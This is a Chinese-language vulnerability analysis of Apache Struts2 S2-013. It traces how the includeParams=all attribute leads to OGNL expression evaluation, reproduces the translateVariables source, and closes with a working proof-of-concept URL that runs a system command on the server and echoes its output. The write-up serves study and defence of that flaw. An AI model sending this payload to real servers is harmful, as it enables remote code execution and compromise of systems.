描述
https://cwiki.apache.org/confluence/display/WW/S2-013
struts2的标签中 <s:a> 和 <s:url> 都有一个 includeParams 属性,可以设置成如下值
- none - URL中不包含任何参数(默认)
- get - 仅包含URL中的GET参数
- all - 在URL中包含GET和POST参数
当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。
此时<s:a> 或<s:url>尝试去解析原始请求参数时,会导致OGNL表达式的执行
环境搭建
docker
漏洞分析
在这里进行预处理URL处理
这里的beforeRenderUrl会对我们的URI 进行解码
处理结束后回到处理URL的地方,这里renderUrl就是触发的关键函数了
这句话执行了我们的payload
继续跟进触发点,这里会遍历我们所有的参数 URI, 参数名和参数值村发到ActionMapping对象里面
buildUrl里面处理一直到buildParameterString
将ActionMapping对象取出来存放到Iterator对象然后进一步处理
在这个函数里面会对我们的Iterator的key-value进一步处理,也就是对我们的参数和参数名字惊醒处理
优先处理表达式的格式,也就是对ONGL表达式进行匹配
然后再这里的,和之前的Struts2漏洞一样,利用stack.findValue执行了命令
命令执行的代码
public static Object translateVariables(char[] openChars, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator, int maxLoopCount) { Object result = expression; char[] arr$ = openChars; int len$ = openChars.length; for(int i$ = 0; i$ < len$; ++i$) { char open = arr$[i$]; int loopCount = 1; int pos = 0; String lookupChars = open + "{"; while(true) { int start = expression.indexOf(lookupChars, pos); if (start == -1) { int pos = false; ++loopCount; start = expression.indexOf(lookupChars); } if (loopCount > maxLoopCount) { break; } int length = expression.length(); int x = start + 2; int count = 1; while(start != -1 && x < length && count != 0) { char c = expression.charAt(x++); if (c == '{') { ++count; } else if (c == '}') { --count; } } int end = x - 1; if (start == -1 || end == -1 || count != 0) { break; } String var = expression.substring(start + 2, end); Object o = stack.findValue(var, asType); if (evaluator != null) { o = evaluator.evaluate(o); } String left = expression.substring(0, start); String right = expression.substring(end + 1); String middle = null; if (o != null) { middle = o.toString(); if (StringUtils.isEmpty(left)) { result = o; } else { result = left.concat(middle); } if (StringUtils.isNotEmpty(right)) { result = result.toString().concat(right); } expression = left.concat(middle).concat(right); } else { expression = left.concat(right); result = expression; } pos = (left != null && left.length() > 0 ? left.length() - 1 : 0) + (middle != null && middle.length() > 0 ? middle.length() - 1 : 0) + 1; pos = Math.max(pos, 1); } } XWorkConverter conv = (XWorkConverter)((Container)stack.getContext().get("com.opensymphony.xwork2.ActionContext.container")).getInstance(XWorkConverter.class); return conv.convertValue(stack.getContext(), result, asType); }
漏洞复现
poc
http://192.168.1.12:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27calc%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read%28%23d%29%2C%23out%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23out.println%28%2bnew%20java.lang.String%28%23d%29%29%2C%23out.close%28%29%7D